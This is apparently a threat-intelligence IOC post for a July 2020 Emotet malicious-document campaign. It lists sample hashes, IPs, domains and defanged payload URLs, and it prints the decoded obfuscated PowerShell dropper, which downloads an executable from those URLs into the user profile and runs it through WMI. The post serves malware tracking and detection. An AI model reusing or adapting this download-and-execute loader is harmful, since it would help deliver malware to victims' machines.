Emotet_Doc_out_2020-07-24_13_09.txt

#Emotet #Docs #malware #OSINT #IOC

SHA256:

d380867193d5464bc9f19ad01d57ff05e361dedbeeb353381803a2793d222b5c
f0cf08a86c254b13956ca9169a40dc530895245ebb6b9e0a0edb3e1d3ed0647d
1e0543309902768d7855ebaac254f5eff447ded7e30ac78abd7f37d1d9a181aa
1bc85d1a3b3a04a28ec8dab1c0d045ec827fb9e6fcdd4cfde1862193dd576ba6
f975e68efb9d7963e66c3964177ea8baddbfbf153b13ebefc29e59b624456203
cdb0c65e4002c7dd70a51efd803a3cfbba5e7d77bfe709b79cd8fc5e0d38d747
e30cf6635812cc441dda6afb5e2e5c1c29f964643fc9c93676fe0da26b43639e
4e65131a6ff20b247e413a654e6a24424e5e1d161cb88d8010a2887e4d42fcee
8e4a8c44bd5347d7042f2e911a9538ebf336300e2d1ca0cef79133aad290f226
67a974e69b33e54421899fd9e7ea3b833607832d2ad8f7c1d5723735f65bed82
b58dbe82f7a65596a2277d1c5ef1e42945e45cd0ad84c35872e1ed404607b9b6
ee36488e9d6d8ea09cff02367c7212d0503f376346c3b40aed03e01c1b1aa668
8429b0e1e5e18af38b4e6eef6fb6a207e17b74579be241d6e51283307653aaad
3245089f34b806cf580793ae111a0407a9aff0397507fd11958f86b3a1ab0eb3
85d3b16cb4b80a5e3d37b051c4ada3f03326e86b95b052489376b8e8b85f4141
710598bbaf405c874c0ee19d46f5093a640cab4563dc0f5f9e67856f22d7b261
4fea58513f3aa92a751266ea532727fdb5c555dab66330006d0a9f181d0f8e1e
f42097d4919865e8c1975950f7ee03a9e18b87de693ed5c951889d4da4f8d498
514c72b8e02e7327fc06051623633c9a6f13a2b162786db38372ca851f50f511
efdce0c4e181f331ecfb5238ce462bcc155f39269279639740eecf6ce1a1983b
7f263a139f4f41bfc3b57d2d77bb678ec6c917ad670f90c250ea5e01f4b2aa52
63970fdb056efe4908d1c18c55713ba31956d97b05ac925f39cd6bd0a8780b7f
b9a786c5bd509b880daa53213b076a49136b9780980b48615ff84dca4ce505e1
c3e740536e6fe998710257440af83d2621b2b08f577a9023fb203387574401c4
ff885175138132335dd7f3a840c5cf89cec412345bb6bb8311853367827526d0
4e0b5a5b57ca68fc38744885f85858101179e28b20fc01155d27fcdfb5ae3d80
4e65f0280b70f9a69450d3cea43cfe4f69e5240dfebd8e49edb70a98ef08e806
3ddd3251b6460b9b8fc544ad79d56857861363651da3d1b0c4054d54777366e7
9e63f724afe41af21c94032213e0e0b181b5521e98a0cdee722a25219c620cf7
08575f40f714f0d2d8633a56ea709a23b5fb1ca163280185c22784b52c7da235
4a208003acf718f4503edc32f76f194bbe6169c8a1863c6b3b3846ae863552d4
d831521ed1fd89695ea1f405aea9680401dc470716ead9076e1c428afc608093
d3d731e1c5ed00a3123112f5f1b4d029a74b742ddf0b5a2639209b85f2930b18
68742e960aa88d7a38f1caf8c84a380e68ef6f351f7557c5710f76d8c191a719
a8397ecbc33d7f38b668c1b91bd8cb3bc93e11fd3cdcebc28b6c1553bf81598c
f0c9f76f342ea1c5905bd4b18f1988ecfdfeca17ad3d89bf82e9ad372ffab247
ebec52367d97dba5b80f400a05312189219712c682f4e3cdff9105afd7191d19
4c7d082113207da04e3d77eac9e2bf7b4da07696a95ae196978d4afb789abd86
861b65f983134a2bfdd08f1d9ab5e3d5be1767ec36bda8445d5f663ba79c82ed
36cd81d1e9f3def8eb7ab3012b360a09e3bc2c62bbe8ce0b138faacb34c4600e
8e5f7114948b2646cf3f0b08835e46456d2e64c17f8281857a7147557c8af935
2a74172f87c79c4c2b810545defd880484c568c31ff4dd30f3ec1be571112ffe
cccf983a34f7c09c86fb0271b7682b72d552ac4bd502e3ad2e66d791224f6e30
6734a3ae13c38e8fd44de930f8cf0da0bda0a3afec46ea9a8899e61b8762ecaa
eb3418a0c1e947d887954e4db54c16f1ca081af7dee17386a4736313e0990f9b
0f118e682037e3a2415cb85caf3c45494072c60591a6a8ddb51a1a0d3b07eac5
fde7e7c9bff062ca0cc9f328703f09d01dba0100af30e9f1d738bf276614a758
ac88ce74a14a0b5a78e6bdf86ffa9bd0f2770cd7255210ffed47affc2f220dc7
e36be98a3e3d568430d52706ee06d935e126942b2a5c2453f5478d8c0d58acb7
f58aa21cf6707dcc6eceb3fa977fa15325d0faab50dd9f08b2ea392c28658068
605e68db4024034f722b64cb62676029ba7c1ec38fe58ac535909068a5d53535
fb1530a751799859585501c02c6cce39addd2e4572d8df0149ae14735eb2f113
9a435d7d82a36a93299a35b93fdbfdd6f1a0eaaa88cf5236d74ae127dd018c73
ea706b82af6db4923a45eb4f03a0e2fbffc2c8e5888cbe9539d101c7d139cf50
3a41b5672541c103127d7150bbc0b39ac13eede1d3851fc7c63484a3700f659f
393ac27aa81e021260be2c3de9507d953b3d57f2dfd0ebee96d4a18af210b982
623c4ed3bff71e9b92646983452b40e40499ac21f3a3aa0647bbf37d3581b909
2935d39226dfe4638797c5c5cf28378de500c1922e5ef39759c242a7fe4be187
fbf452d5f6cd0fdb296b33219f5f31288e9d2e0443eccfcdd5b9312e3c51ea13
87455ff189bcb0ad902c5b2f72429ff088a4e50794e893c36e086c92ac3e555b
5ee4d2aef0baabb383f978948d2ccab91bc5233d2e7046e2b3b2a57beceaebfc
b5708647fb659a4ace2819f0509a8aade944a82e7153a40f9476f40d5e2d8ab1
e0b7d8ca05d18414d7a6bc8b4494306632f07a77d9c698581b34f71e8406af74
734c1aba421e90f3a63df794b4ac20d4d9d0620d10053fdc31a421afa39aba81
15bce11f60cd34feb140437f2b1a6187ac54fe5109c50e17b7c66dfde3b3d5c8
f278eee1a5f1547f83876e1dde7fc705d8eac342f126f1462e3d8c1d029182b5
48a4f58431cac713f842f708eadd125b716cd105fea8ab4fbc0356f7abffeed0


IPs:
104.156.48.44
104.27.175.164

Domains:

blog.tujanena.com
departure.world
drsoli.com
planet7vip.com
songbadtv.com


hxxp://departure.world/wp-content/V4GFFNihI/
hxxp://songbadtv.com/wp-includes/XQrT027149/
hxxps://planet7vip.com/czy/hR8MMWwRkY/
hxxp://blog.tujanena.com/ariu/C2LSRbc8/
hxxp://drsoli.com/k1vjzk/XtSsbRPzyI/


Decoded Base64 Powershell:
$wecwiachriz='saepcazwaugquuay';
[Net.ServicePointManager]::"Se`c`URitYPr`Oto`col" = 'tls12, tls11, tls';
$geohbeojyaec = '734';
$quouwsiabquekqueuh='xaethcoemtaox';
$moyhaec=$env:userprofile+'\'+$geohbeojyaec+'.exe';
$geuzpooquyeefjaux='koiwquounfeat';
$joipwuap=&('n'+'ew-'+'obj'+'ect') neT.WeBCLIENT;
$queijroas='hxxp://departure.world/wp-content/V4GFFNihI/
hxxp://songbadtv.com/wp-includes/XQrT027149/
hxxps://planet7vip.com/czy/hR8MMWwRkY/
hxxp://blog.tujanena.com/ariu/C2LSRbc8/
hxxp://drsoli.com/k1vjzk/XtSsbRPzyI/'."sP`LIt"([char]42);
$roaklaeh='thoamxoochob';
foreach($huaddeurquaihjaw in $queijroas){try{$joipwuap."dO`wN`l`OadfiLe"($huaddeurquaihjaw, $moyhaec);
$cheukchoiv='raekquoebbioypuay';
If ((.('Ge'+'t-Item') $moyhaec)."LE`N`gth" -ge 33483) {([wmiclass]'win32_Process')."C`R`EAtE"($moyhaec);
$quoupfouth='ceapbiobwiab';
break;
$chaoqujoadbuthyut='keibveof'}}catch{}}$chiejgumbiap='quoichbaexpaos'